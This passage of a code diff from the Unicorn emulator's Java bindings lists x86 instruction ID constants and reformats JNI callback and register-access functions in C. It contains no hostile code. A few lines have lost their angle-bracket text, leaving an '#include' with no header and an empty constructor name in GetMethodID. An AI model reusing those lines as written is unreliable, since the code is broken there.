UC_X86_INS_VPHSUBWD = 1093; + public static final int UC_X86_INS_VPHSUBW = 1094; + public static final int UC_X86_INS_VPINSRB = 1095; + public static final int UC_X86_INS_VPINSRD = 1096; + public static final int UC_X86_INS_VPINSRQ = 1097; + public static final int UC_X86_INS_VPINSRW = 1098; + public static final int UC_X86_INS_VPLZCNTD = 1099; + public static final int UC_X86_INS_VPLZCNTQ = 1100; + public static final int UC_X86_INS_VPMACSDD = 1101; + public static final int UC_X86_INS_VPMACSDQH = 1102; + public static final int UC_X86_INS_VPMACSDQL = 1103; + public static final int UC_X86_INS_VPMACSSDD = 1104; + public static final int UC_X86_INS_VPMACSSDQH = 1105; + public static final int UC_X86_INS_VPMACSSDQL = 1106; + public static final int UC_X86_INS_VPMACSSWD = 1107; + public static final int UC_X86_INS_VPMACSSWW = 1108; + public static final int UC_X86_INS_VPMACSWD = 1109; + public static final int UC_X86_INS_VPMACSWW = 1110; + public static final int UC_X86_INS_VPMADCSSWD = 1111; + public static final int UC_X86_INS_VPMADCSWD = 1112; + public static final int UC_X86_INS_VPMADDUBSW = 1113; + public static final int UC_X86_INS_VPMADDWD = 1114; + public static final int UC_X86_INS_VPMASKMOVD = 1115; + public static final int UC_X86_INS_VPMASKMOVQ = 1116; + public static final int UC_X86_INS_VPMAXSB = 1117; + public static final int UC_X86_INS_VPMAXSD = 1118; + public static final int UC_X86_INS_VPMAXSQ = 1119; + public static final int UC_X86_INS_VPMAXSW = 1120; + public static final int UC_X86_INS_VPMAXUB = 1121; + public static final int UC_X86_INS_VPMAXUD = 1122; + public static final int UC_X86_INS_VPMAXUQ = 1123; + public static final int UC_X86_INS_VPMAXUW = 1124; + public static final int UC_X86_INS_VPMINSB = 1125; + public static final int UC_X86_INS_VPMINSD = 1126; + public static final int UC_X86_INS_VPMINSQ = 1127; + public static final int UC_X86_INS_VPMINSW = 1128; + public static final int UC_X86_INS_VPMINUB = 1129; + public static final int UC_X86_INS_VPMINUD = 1130; + public static final int UC_X86_INS_VPMINUQ = 1131; + public static final int UC_X86_INS_VPMINUW = 1132; + public static final int UC_X86_INS_VPMOVDB = 1133; + public static final int UC_X86_INS_VPMOVDW = 1134; + public static final int UC_X86_INS_VPMOVM2B = 1135; + public static final int UC_X86_INS_VPMOVM2D = 1136; + public static final int UC_X86_INS_VPMOVM2Q = 1137; + public static final int UC_X86_INS_VPMOVM2W = 1138; + public static final int UC_X86_INS_VPMOVMSKB = 1139; + public static final int UC_X86_INS_VPMOVQB = 1140; + public static final int UC_X86_INS_VPMOVQD = 1141; + public static final int UC_X86_INS_VPMOVQW = 1142; + public static final int UC_X86_INS_VPMOVSDB = 1143; + public static final int UC_X86_INS_VPMOVSDW = 1144; + public static final int UC_X86_INS_VPMOVSQB = 1145; + public static final int UC_X86_INS_VPMOVSQD = 1146; + public static final int UC_X86_INS_VPMOVSQW = 1147; + public static final int UC_X86_INS_VPMOVSXBD = 1148; + public static final int UC_X86_INS_VPMOVSXBQ = 1149; + public static final int UC_X86_INS_VPMOVSXBW = 1150; + public static final int UC_X86_INS_VPMOVSXDQ = 1151; + public static final int UC_X86_INS_VPMOVSXWD = 1152; + public static final int UC_X86_INS_VPMOVSXWQ = 1153; + public static final int UC_X86_INS_VPMOVUSDB = 1154; + public static final int UC_X86_INS_VPMOVUSDW = 1155; + public static final int UC_X86_INS_VPMOVUSQB = 1156; + public static final int UC_X86_INS_VPMOVUSQD = 1157; + public static final int UC_X86_INS_VPMOVUSQW = 1158; + public static final int UC_X86_INS_VPMOVZXBD = 1159; + public static final int UC_X86_INS_VPMOVZXBQ = 1160; + public static final int UC_X86_INS_VPMOVZXBW = 1161; + public static final int UC_X86_INS_VPMOVZXDQ = 1162; + public static final int UC_X86_INS_VPMOVZXWD = 1163; + public static final int UC_X86_INS_VPMOVZXWQ = 1164; + public static final int UC_X86_INS_VPMULDQ = 1165; + public static final int UC_X86_INS_VPMULHRSW = 1166; + public static final int UC_X86_INS_VPMULHUW = 1167; + public static final int UC_X86_INS_VPMULHW = 1168; + public static final int UC_X86_INS_VPMULLD = 1169; + public static final int UC_X86_INS_VPMULLQ = 1170; + public static final int UC_X86_INS_VPMULLW = 1171; + public static final int UC_X86_INS_VPMULUDQ = 1172; + public static final int UC_X86_INS_VPORD = 1173; + public static final int UC_X86_INS_VPORQ = 1174; + public static final int UC_X86_INS_VPOR = 1175; + public static final int UC_X86_INS_VPPERM = 1176; + public static final int UC_X86_INS_VPROTB = 1177; + public static final int UC_X86_INS_VPROTD = 1178; + public static final int UC_X86_INS_VPROTQ = 1179; + public static final int UC_X86_INS_VPROTW = 1180; + public static final int UC_X86_INS_VPSADBW = 1181; + public static final int UC_X86_INS_VPSCATTERDD = 1182; + public static final int UC_X86_INS_VPSCATTERDQ = 1183; + public static final int UC_X86_INS_VPSCATTERQD = 1184; + public static final int UC_X86_INS_VPSCATTERQQ = 1185; + public static final int UC_X86_INS_VPSHAB = 1186; + public static final int UC_X86_INS_VPSHAD = 1187; + public static final int UC_X86_INS_VPSHAQ = 1188; + public static final int UC_X86_INS_VPSHAW = 1189; + public static final int UC_X86_INS_VPSHLB = 1190; + public static final int UC_X86_INS_VPSHLD = 1191; + public static final int UC_X86_INS_VPSHLQ = 1192; + public static final int UC_X86_INS_VPSHLW = 1193; + public static final int UC_X86_INS_VPSHUFB = 1194; + public static final int UC_X86_INS_VPSHUFD = 1195; + public static final int UC_X86_INS_VPSHUFHW = 1196; + public static final int UC_X86_INS_VPSHUFLW = 1197; + public static final int UC_X86_INS_VPSIGNB = 1198; + public static final int UC_X86_INS_VPSIGND = 1199; + public static final int UC_X86_INS_VPSIGNW = 1200; + public static final int UC_X86_INS_VPSLLDQ = 1201; + public static final int UC_X86_INS_VPSLLD = 1202; + public static final int UC_X86_INS_VPSLLQ = 1203; + public static final int UC_X86_INS_VPSLLVD = 1204; + public static final int UC_X86_INS_VPSLLVQ = 1205; + public static final int UC_X86_INS_VPSLLW = 1206; + public static final int UC_X86_INS_VPSRAD = 1207; + public static final int UC_X86_INS_VPSRAQ = 1208; + public static final int UC_X86_INS_VPSRAVD = 1209; + public static final int UC_X86_INS_VPSRAVQ = 1210; + public static final int UC_X86_INS_VPSRAW = 1211; + public static final int UC_X86_INS_VPSRLDQ = 1212; + public static final int UC_X86_INS_VPSRLD = 1213; + public static final int UC_X86_INS_VPSRLQ = 1214; + public static final int UC_X86_INS_VPSRLVD = 1215; + public static final int UC_X86_INS_VPSRLVQ = 1216; + public static final int UC_X86_INS_VPSRLW = 1217; + public static final int UC_X86_INS_VPSUBB = 1218; + public static final int UC_X86_INS_VPSUBD = 1219; + public static final int UC_X86_INS_VPSUBQ = 1220; + public static final int UC_X86_INS_VPSUBSB = 1221; + public static final int UC_X86_INS_VPSUBSW = 1222; + public static final int UC_X86_INS_VPSUBUSB = 1223; + public static final int UC_X86_INS_VPSUBUSW = 1224; + public static final int UC_X86_INS_VPSUBW = 1225; + public static final int UC_X86_INS_VPTESTMD = 1226; + public static final int UC_X86_INS_VPTESTMQ = 1227; + public static final int UC_X86_INS_VPTESTNMD = 1228; + public static final int UC_X86_INS_VPTESTNMQ = 1229; + public static final int UC_X86_INS_VPTEST = 1230; + public static final int UC_X86_INS_VPUNPCKHBW = 1231; + public static final int UC_X86_INS_VPUNPCKHDQ = 1232; + public static final int UC_X86_INS_VPUNPCKHQDQ = 1233; + public static final int UC_X86_INS_VPUNPCKHWD = 1234; + public static final int UC_X86_INS_VPUNPCKLBW = 1235; + public static final int UC_X86_INS_VPUNPCKLDQ = 1236; + public static final int UC_X86_INS_VPUNPCKLQDQ = 1237; + public static final int UC_X86_INS_VPUNPCKLWD = 1238; + public static final int UC_X86_INS_VPXORD = 1239; + public static final int UC_X86_INS_VPXORQ = 1240; + public static final int UC_X86_INS_VPXOR = 1241; + public static final int UC_X86_INS_VRCP14PD = 1242; + public static final int UC_X86_INS_VRCP14PS = 1243; + public static final int UC_X86_INS_VRCP14SD = 1244; + public static final int UC_X86_INS_VRCP14SS = 1245; + public static final int UC_X86_INS_VRCP28PD = 1246; + public static final int UC_X86_INS_VRCP28PS = 1247; + public static final int UC_X86_INS_VRCP28SD = 1248; + public static final int UC_X86_INS_VRCP28SS = 1249; + public static final int UC_X86_INS_VRCPPS = 1250; + public static final int UC_X86_INS_VRCPSS = 1251; + public static final int UC_X86_INS_VRNDSCALEPD = 1252; + public static final int UC_X86_INS_VRNDSCALEPS = 1253; + public static final int UC_X86_INS_VRNDSCALESD = 1254; + public static final int UC_X86_INS_VRNDSCALESS = 1255; + public static final int UC_X86_INS_VROUNDPD = 1256; + public static final int UC_X86_INS_VROUNDPS = 1257; + public static final int UC_X86_INS_VROUNDSD = 1258; + public static final int UC_X86_INS_VROUNDSS = 1259; + public static final int UC_X86_INS_VRSQRT14PD = 1260; + public static final int UC_X86_INS_VRSQRT14PS = 1261; + public static final int UC_X86_INS_VRSQRT14SD = 1262; + public static final int UC_X86_INS_VRSQRT14SS = 1263; + public static final int UC_X86_INS_VRSQRT28PD = 1264; + public static final int UC_X86_INS_VRSQRT28PS = 1265; + public static final int UC_X86_INS_VRSQRT28SD = 1266; + public static final int UC_X86_INS_VRSQRT28SS = 1267; + public static final int UC_X86_INS_VRSQRTPS = 1268; + public static final int UC_X86_INS_VRSQRTSS = 1269; + public static final int UC_X86_INS_VSCATTERDPD = 1270; + public static final int UC_X86_INS_VSCATTERDPS = 1271; + public static final int UC_X86_INS_VSCATTERPF0DPD = 1272; + public static final int UC_X86_INS_VSCATTERPF0DPS = 1273; + public static final int UC_X86_INS_VSCATTERPF0QPD = 1274; + public static final int UC_X86_INS_VSCATTERPF0QPS = 1275; + public static final int UC_X86_INS_VSCATTERPF1DPD = 1276; + public static final int UC_X86_INS_VSCATTERPF1DPS = 1277; + public static final int UC_X86_INS_VSCATTERPF1QPD = 1278; + public static final int UC_X86_INS_VSCATTERPF1QPS = 1279; + public static final int UC_X86_INS_VSCATTERQPD = 1280; + public static final int UC_X86_INS_VSCATTERQPS = 1281; + public static final int UC_X86_INS_VSHUFPD = 1282; + public static final int UC_X86_INS_VSHUFPS = 1283; + public static final int UC_X86_INS_VSQRTPD = 1284; + public static final int UC_X86_INS_VSQRTPS = 1285; + public static final int UC_X86_INS_VSQRTSD = 1286; + public static final int UC_X86_INS_VSQRTSS = 1287; + public static final int UC_X86_INS_VSTMXCSR = 1288; + public static final int UC_X86_INS_VSUBPD = 1289; + public static final int UC_X86_INS_VSUBPS = 1290; + public static final int UC_X86_INS_VSUBSD = 1291; + public static final int UC_X86_INS_VSUBSS = 1292; + public static final int UC_X86_INS_VTESTPD = 1293; + public static final int UC_X86_INS_VTESTPS = 1294; + public static final int UC_X86_INS_VUNPCKHPD = 1295; + public static final int UC_X86_INS_VUNPCKHPS = 1296; + public static final int UC_X86_INS_VUNPCKLPD = 1297; + public static final int UC_X86_INS_VUNPCKLPS = 1298; + public static final int UC_X86_INS_VZEROALL = 1299; + public static final int UC_X86_INS_VZEROUPPER = 1300; + public static final int UC_X86_INS_WAIT = 1301; + public static final int UC_X86_INS_WBINVD = 1302; + public static final int UC_X86_INS_WRFSBASE = 1303; + public static final int UC_X86_INS_WRGSBASE = 1304; + public static final int UC_X86_INS_WRMSR = 1305; + public static final int UC_X86_INS_XABORT = 1306; + public static final int UC_X86_INS_XACQUIRE = 1307; + public static final int UC_X86_INS_XBEGIN = 1308; + public static final int UC_X86_INS_XCHG = 1309; + public static final int UC_X86_INS_XCRYPTCBC = 1310; + public static final int UC_X86_INS_XCRYPTCFB = 1311; + public static final int UC_X86_INS_XCRYPTCTR = 1312; + public static final int UC_X86_INS_XCRYPTECB = 1313; + public static final int UC_X86_INS_XCRYPTOFB = 1314; + public static final int UC_X86_INS_XEND = 1315; + public static final int UC_X86_INS_XGETBV = 1316; + public static final int UC_X86_INS_XLATB = 1317; + public static final int UC_X86_INS_XRELEASE = 1318; + public static final int UC_X86_INS_XRSTOR = 1319; + public static final int UC_X86_INS_XRSTOR64 = 1320; + public static final int UC_X86_INS_XRSTORS = 1321; + public static final int UC_X86_INS_XRSTORS64 = 1322; + public static final int UC_X86_INS_XSAVE = 1323; + public static final int UC_X86_INS_XSAVE64 = 1324; + public static final int UC_X86_INS_XSAVEC = 1325; + public static final int UC_X86_INS_XSAVEC64 = 1326; + public static final int UC_X86_INS_XSAVEOPT = 1327; + public static final int UC_X86_INS_XSAVEOPT64 = 1328; + public static final int UC_X86_INS_XSAVES = 1329; + public static final int UC_X86_INS_XSAVES64 = 1330; + public static final int UC_X86_INS_XSETBV = 1331; + public static final int UC_X86_INS_XSHA1 = 1332; + public static final int UC_X86_INS_XSHA256 = 1333; + public static final int UC_X86_INS_XSTORE = 1334; + public static final int UC_X86_INS_XTEST = 1335; + public static final int UC_X86_INS_FDISI8087_NOP = 1336; + public static final int UC_X86_INS_FENI8087_NOP = 1337; + public static final int UC_X86_INS_ENDING = 1338; } diff --git a/bindings/java/unicorn/X86_MMR.java b/bindings/java/unicorn/X86_MMR.java index 1c3db2bc..17f3fe33 100644 --- a/bindings/java/unicorn/X86_MMR.java +++ b/bindings/java/unicorn/X86_MMR.java @@ -22,25 +22,22 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public class X86_MMR { + public long base; + public int limit; + public int flags; + public short selector; - public long base; - public int limit; - public int flags; - public short selector; - - public X86_MMR(long base, int limit, int flags, short selector) { - this.base = base; - this.limit = limit; - this.flags = flags; - this.selector = selector; - } - - public X86_MMR(long base, int limit) { - this.base = base; - this.limit = limit; - selector = 0; - flags = 0; - } + public X86_MMR(long base, int limit, int flags, short selector) { + this.base = base; + this.limit = limit; + this.flags = flags; + this.selector = selector; + } + public X86_MMR(long base, int limit) { + this.base = base; + this.limit = limit; + selector = 0; + flags = 0; + } } - diff --git a/bindings/java/unicorn_Unicorn.c b/bindings/java/unicorn_Unicorn.c index fb7f220f..3ab2e9a5 100644 --- a/bindings/java/unicorn_Unicorn.c +++ b/bindings/java/unicorn_Unicorn.c @@ -28,7 +28,7 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. #include #include "unicorn_Unicorn.h" -//cache jmethodID values as we look them up +// cache jmethodID values as we look them up static jmethodID invokeBlockCallbacks = 0; static jmethodID invokeInterruptCallbacks = 0; static jmethodID invokeCodeCallbacks = 0; @@ -40,99 +40,115 @@ static jmethodID invokeInCallbacks = 0; static jmethodID invokeOutCallbacks = 0; static jmethodID invokeSyscallCallbacks = 0; -static JavaVM* cachedJVM; +static JavaVM *cachedJVM; -JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *jvm, void *reserved) { - cachedJVM = jvm; - return JNI_VERSION_1_6; +JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *jvm, void *reserved) +{ + cachedJVM = jvm; + return JNI_VERSION_1_6; } // Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) // @address: address where the code is being executed // @size: size of machine instruction being executed // @user_data: user data passed to tracing APIs. -static void cb_hookcode(uc_engine *eng, uint64_t address, uint32_t size, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeCodeCallbacks, (jlong)eng, (jlong)address, (int)size); - (*cachedJVM)->DetachCurrentThread(cachedJVM); +static void cb_hookcode(uc_engine *eng, uint64_t address, uint32_t size, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeCodeCallbacks, (jlong)eng, + (jlong)address, (int)size); + (*cachedJVM)->DetachCurrentThread(cachedJVM); } // Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) // @address: address where the code is being executed // @size: size of machine instruction being executed // @user_data: user data passed to tracing APIs. -static void cb_hookblock(uc_engine *eng, uint64_t address, uint32_t size, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeBlockCallbacks, (jlong)eng, (jlong)address, (int)size); - (*cachedJVM)->DetachCurrentThread(cachedJVM); +static void cb_hookblock(uc_engine *eng, uint64_t address, uint32_t size, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeBlockCallbacks, (jlong)eng, + (jlong)address, (int)size); + (*cachedJVM)->DetachCurrentThread(cachedJVM); } // Callback function for tracing interrupts (for uc_hook_intr()) // @intno: interrupt number // @user_data: user data passed to tracing APIs. -static void cb_hookintr(uc_engine *eng, uint32_t intno, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeInterruptCallbacks, (jlong)eng, (int)intno); - (*cachedJVM)->DetachCurrentThread(cachedJVM); +static void cb_hookintr(uc_engine *eng, uint32_t intno, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeInterruptCallbacks, (jlong)eng, + (int)intno); + (*cachedJVM)->DetachCurrentThread(cachedJVM); } // Callback function for tracing IN instruction of X86 // @port: port number // @size: data size (1/2/4) to be read from this port // @user_data: user data passed to tracing APIs. -static uint32_t cb_insn_in(uc_engine *eng, uint32_t port, int size, void *user_data) { - JNIEnv *env; - uint32_t res = 0; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return 0; - } - res = (uint32_t)(*env)->CallStaticIntMethod(env, clz, invokeInCallbacks, (jlong)eng, (jint)port, (jint)size); - (*cachedJVM)->DetachCurrentThread(cachedJVM); - return res; +static uint32_t cb_insn_in(uc_engine *eng, uint32_t port, int size, + void *user_data) +{ + JNIEnv *env; + uint32_t res = 0; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return 0; + } + res = (uint32_t)(*env)->CallStaticIntMethod( + env, clz, invokeInCallbacks, (jlong)eng, (jint)port, (jint)size); + (*cachedJVM)->DetachCurrentThread(cachedJVM); + return res; } // x86's handler for OUT // @port: port number // @size: data size (1/2/4) to be written to this port // @value: data value to be written to this port -static void cb_insn_out(uc_engine *eng, uint32_t port, int size, uint32_t value, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeOutCallbacks, (jlong)eng, (jint)port, (jint)size, (jint)value); - (*cachedJVM)->DetachCurrentThread(cachedJVM); +static void cb_insn_out(uc_engine *eng, uint32_t port, int size, uint32_t value, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeOutCallbacks, (jlong)eng, + (jint)port, (jint)size, (jint)value); + (*cachedJVM)->DetachCurrentThread(cachedJVM); } // x86's handler for SYSCALL/SYSENTER -static void cb_insn_syscall(uc_engine *eng, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - (*env)->CallStaticVoidMethod(env, clz, invokeSyscallCallbacks, (jlong)eng); - (*cachedJVM)->DetachCurrentThread(cachedJVM); +static void cb_insn_syscall(uc_engine *eng, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + (*env)->CallStaticVoidMethod(env, clz, invokeSyscallCallbacks, (jlong)eng); + (*cachedJVM)->DetachCurrentThread(cachedJVM); } // Callback function for hooking memory (UC_HOOK_MEM_*) @@ -141,23 +157,26 @@ static void cb_insn_syscall(uc_engine *eng, void *user_data) { // @size: size of data being read or written // @value: value of data being written to memory, or irrelevant if type = READ. // @user_data: user data passed to tracing APIs -static void cb_hookmem(uc_engine *eng, uc_mem_type type, - uint64_t address, int size, int64_t value, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return; - } - switch (type) { - case UC_MEM_READ: - (*env)->CallStaticVoidMethod(env, clz, invokeReadCallbacks, (jlong)eng, (jlong)address, (int)size); - break; - case UC_MEM_WRITE: - (*env)->CallStaticVoidMethod(env, clz, invokeWriteCallbacks, (jlong)eng, (jlong)address, (int)size, (jlong)value); - break; - } - (*cachedJVM)->DetachCurrentThread(cachedJVM); +static void cb_hookmem(uc_engine *eng, uc_mem_type type, uint64_t address, + int size, int64_t value, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return; + } + switch (type) { + case UC_MEM_READ: + (*env)->CallStaticVoidMethod(env, clz, invokeReadCallbacks, (jlong)eng, + (jlong)address, (int)size); + break; + case UC_MEM_WRITE: + (*env)->CallStaticVoidMethod(env, clz, invokeWriteCallbacks, (jlong)eng, + (jlong)address, (int)size, (jlong)value); + break; + } + (*cachedJVM)->DetachCurrentThread(cachedJVM); } // Callback function for handling memory events (for UC_HOOK_MEM_UNMAPPED) @@ -166,39 +185,45 @@ static void cb_hookmem(uc_engine *eng, uc_mem_type type, // @size: size of data being read or written // @value: value of data being written to memory, or irrelevant if type = READ. // @user_data: user data passed to tracing APIs -// @return: return true to continue, or false to stop program (due to invalid memory). -static bool cb_eventmem(uc_engine *eng, uc_mem_type type, - uint64_t address, int size, int64_t value, void *user_data) { - JNIEnv *env; - (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); - jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); - if ((*env)->ExceptionCheck(env)) { - return false; - } - jboolean res = (*env)->CallStaticBooleanMethod(env, clz, invokeEventMemCallbacks, (jlong)eng, (int)type, (jlong)address, (int)size, (jlong)value); - (*cachedJVM)->DetachCurrentThread(cachedJVM); - return res; +// @return: return true to continue, or false to stop program (due to invalid +// memory). +static bool cb_eventmem(uc_engine *eng, uc_mem_type type, uint64_t address, + int size, int64_t value, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + jclass clz = (*env)->FindClass(env, "unicorn/Unicorn"); + if ((*env)->ExceptionCheck(env)) { + return false; + } + jboolean res = (*env)->CallStaticBooleanMethod( + env, clz, invokeEventMemCallbacks, (jlong)eng, (int)type, + (jlong)address, (int)size, (jlong)value); + (*cachedJVM)->DetachCurrentThread(cachedJVM); + return res; } -static void throwException(JNIEnv *env, uc_err err) { - //throw exception - jclass clazz = (*env)->FindClass(env, "unicorn/UnicornException"); - if (err != UC_ERR_OK) { - const char *msg = uc_strerror(err); - (*env)->ThrowNew(env, clazz, msg); - } +static void throwException(JNIEnv *env, uc_err err) +{ + // throw exception + jclass clazz = (*env)->FindClass(env, "unicorn/UnicornException"); + if (err != UC_ERR_OK) { + const char *msg = uc_strerror(err); + (*env)->ThrowNew(env, clazz, msg); + } } -static uc_engine *getEngine(JNIEnv *env, jobject self) { - static int haveFid = 0; - static jfieldID fid; - if (haveFid == 0) { - //cache the field id - jclass clazz = (*env)->GetObjectClass(env, self); - fid = (*env)->GetFieldID(env, clazz, "eng", "J"); - haveFid = 1; - } - return (uc_engine *)(*env)->GetLongField(env, self, fid); +static uc_engine *getEngine(JNIEnv *env, jobject self) +{ + static int haveFid = 0; + static jfieldID fid; + if (haveFid == 0) { + // cache the field id + jclass clazz = (*env)->GetObjectClass(env, self); + fid = (*env)->GetFieldID(env, clazz, "eng", "J"); + haveFid = 1; + } + return (uc_engine *)(*env)->GetLongField(env, self, fid); } /* @@ -206,21 +231,24 @@ static uc_engine *getEngine(JNIEnv *env, jobject self) { * Method: reg_write_num * Signature: (ILjava/lang/Number;)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1num - (JNIEnv *env, jobject self, jint regid, jobject value) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1num(JNIEnv *env, + jobject self, + jint regid, + jobject value) +{ + uc_engine *eng = getEngine(env, self); - jclass clz = (*env)->FindClass(env, "java/lang/Number"); - if ((*env)->ExceptionCheck(env)) { - return; - } + jclass clz = (*env)->FindClass(env, "java/lang/Number"); + if ((*env)->ExceptionCheck(env)) { + return; + } - jmethodID longValue = (*env)->GetMethodID(env, clz, "longValue", "()J"); - jlong longVal = (*env)->CallLongMethod(env, value, longValue); - uc_err err = uc_reg_write(eng, regid, &longVal); - if (err != UC_ERR_OK) { - throwException(env, err); - } + jmethodID longValue = (*env)->GetMethodID(env, clz, "longValue", "()J"); + jlong longVal = (*env)->CallLongMethod(env, value, longValue); + uc_err err = uc_reg_write(eng, regid, &longVal); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -228,32 +256,35 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1num * Method: reg_write_mmr * Signature: (ILunicorn/X86_MMR;)V */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1mmr - (JNIEnv *env, jobject self, jint regid, jobject value) { - uc_engine *eng = getEngine(env, self); - uc_x86_mmr mmr; +JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1mmr(JNIEnv *env, + jobject self, + jint regid, + jobject value) +{ + uc_engine *eng = getEngine(env, self); + uc_x86_mmr mmr; - jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); - if ((*env)->ExceptionCheck(env)) { - return; - } + jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); + if ((*env)->ExceptionCheck(env)) { + return; + } - jfieldID fid = (*env)->GetFieldID(env, clz, "base", "J"); - mmr.base = (uint64_t)(*env)->GetLongField(env, value, fid); + jfieldID fid = (*env)->GetFieldID(env, clz, "base", "J"); + mmr.base = (uint64_t)(*env)->GetLongField(env, value, fid); - fid = (*env)->GetFieldID(env, clz, "limit", "I"); - mmr.limit = (uint32_t)(*env)->GetLongField(env, value, fid); + fid = (*env)->GetFieldID(env, clz, "limit", "I"); + mmr.limit = (uint32_t)(*env)->GetLongField(env, value, fid); - fid = (*env)->GetFieldID(env, clz, "flags", "I"); - mmr.flags = (uint32_t)(*env)->GetLongField(env, value, fid); + fid = (*env)->GetFieldID(env, clz, "flags", "I"); + mmr.flags = (uint32_t)(*env)->GetLongField(env, value, fid); - fid = (*env)->GetFieldID(env, clz, "selector", "S"); - mmr.selector = (uint16_t)(*env)->GetLongField(env, value, fid); + fid = (*env)->GetFieldID(env, clz, "selector", "S"); + mmr.selector = (uint16_t)(*env)->GetLongField(env, value, fid); - uc_err err = uc_reg_write(eng, regid, &mmr); - if (err != UC_ERR_OK) { - throwException(env, err); - } + uc_err err = uc_reg_write(eng, regid, &mmr); + if (err != UC_ERR_OK) { + throwException(env, err); + } } /* @@ -261,27 +292,29 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write_1mmr * Method: reg_read_num * Signature: (I)Ljava/lang/Number; */ -JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1num - (JNIEnv *env, jobject self, jint regid) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1num(JNIEnv *env, + jobject self, + jint regid) +{ + uc_engine *eng = getEngine(env, self); - jclass clz = (*env)->FindClass(env, "java/lang/Long"); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } + jclass clz = (*env)->FindClass(env, "java/lang/Long"); + if ((*env)->ExceptionCheck(env)) { + return NULL; + } - jlong longVal; - uc_err err = uc_reg_read(eng, regid, &longVal); - if (err != UC_ERR_OK) { - throwException(env, err); - } + jlong longVal; + uc_err err = uc_reg_read(eng, regid, &longVal); + if (err != UC_ERR_OK) { + throwException(env, err); + } - jmethodID cons = (*env)->GetMethodID(env, clz, "", "(J)V"); - jobject result = (*env)->NewObject(env, clz, cons, longVal); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } - return result; + jmethodID cons = (*env)->GetMethodID(env, clz, "", "(J)V"); + jobject result = 